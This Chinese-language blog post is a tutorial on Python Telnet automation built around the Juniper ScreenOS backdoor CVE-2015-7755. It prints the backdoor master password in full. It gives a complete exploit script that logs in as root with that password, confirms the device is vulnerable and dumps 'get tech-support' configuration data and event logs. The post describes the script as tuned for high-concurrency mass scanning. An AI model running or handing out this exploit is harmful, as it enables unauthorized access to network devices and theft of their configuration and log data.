Title(EN): Shell Interaction in Python #1: Telent  
Author: dog2 
 
 
背景 
我们常常需要使用编程语言实现与某些终端交互,以实现交互过程的可控性。具体到这类涉及终端交互的漏洞,只有编写合适的PoC/Exp,并与目标有正确的交互逻辑,才能进行漏洞验证。
这里,我们以Juniper后门漏洞CVE-2015-7755为例,介绍如何使用Python编写Telnet交互程序,且:
要求该程序是可以用于高并发扫描的。 
实现Exp,获取相关敏感信息。 
 
Juniper后门漏洞相关信息可参见Freebuf相关文章 。简而言之,即可使用任意用户名及密码 <<< %s(un='%s') = %u   来登录一些Juniper ScreenOS设备的Telnet及SSh服务。
难点 
模块选择 
初版PoC程序我使用了相对底层的socket模块来简单实现,用于检测单个目标没有问题,但在高并发扫描的时候效率极低,猜测是I/O阻塞的原因。
转而使用系统库内置模块telnetlib:
使用telnet模块后并发扫描的效率就非常高了,CPU及带宽占用率都上去了。简单翻阅telnetlib的源码,发现它是有I/O控制的。
Exp 
Juniper设备使用get命令来获取设备的各类信息,可以使用 get ?   来查看相关命令,其中最重要的是2个:
get tech-support   : 它综合了大部分get子命令的结果。 
get event   : 包含了设备日志。 
 
但存在一个问题,如上2个命令返回的全部信息总量通常比较大,一般>=40KB,而服务端不是一次性将信息全部输出给客户端的,而是分批输出到管道中的,客户端需要不断地键入回车,来顺序获取各个信息分段。
这就要求程序能不断获取结果信息,并正确判断最后一个分段以适时终止。
 
代码 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import  telnetlib as  tldef  poc (host, port=23 , timeout=10 , successFlag='ping other host' , doExp=True) :    def  exp (cmd, maxTo=3 ) :         data = '--- more ---'          ret = ''          flag = '->'          while  '->'  in  flag:             flag = telnetConn.read_until('->' , timeout=timeout)         toNum = 0            telnetConn.write(cmd)         while  ('- more -'  in  data) and  (toNum < maxTo):             telnetConn.write('\n' )             try :                 data = telnetConn.read_until('- more -' , timeout=timeout)                 ret += data             except  Exception as  err:                 toNum += 1                  continue          return  ret     telnetConn = tl.Telnet(host=host, port=port, timeout=timeout)     ret = ''      ret = telnetConn.read_until('login: ' , timeout=timeout)     if  'login'  not  in  ret.lower():         return  False , ret, None , None , None      telnetConn.write('root'  + '\n' )     ret = telnetConn.read_until('password: ' , timeout=timeout)     if  'password'  not  in  ret.lower():         return  False , None , None , None , None      telnetConn.write("<<< %s(un='%s') = %u"  + '\n' )     banner = telnetConn.read_some()     telnetConn.write('?'  + '\n' )     help = telnetConn.read_until(banner, timeout=timeout)     techsupport = ''      event = ''      success = successFlag in  help.lower()     if  success and  doExp:         techsupport = exp(cmd='get tech-support' )         event = exp(cmd='get event' )     return  success, banner, help, techsupport, event 
 
代码说明:
5 - 21行:实现了exp函数,用于在执行某个命令cmd,并获取全部的返回信息。其中, ->  字符串是juniper的shell输入提示符,我们通过判断它来过滤掉上一次的多余输出。在连续获取结果分段的过程中,若出现超时,则会最多尝试maxTo次。 
23 - 42行:主代码逻辑,登陆了远端telnet,并执行了?命令,判断返回的信息中是否包含success_flag变量对应的字符串,默认是'ping other host',若存在则断定存在该漏洞。若doExp为True,则表示执行Exp,则程序会调用exp()函数分别执行上节中提到2个get命令并获取全部返回信息。 这里需要特别指出的是,返回的techsupport字符串中可能含有各种特殊编码的字符串,因此若需对其进行转码操作请再三考虑,以防改变原始数据  。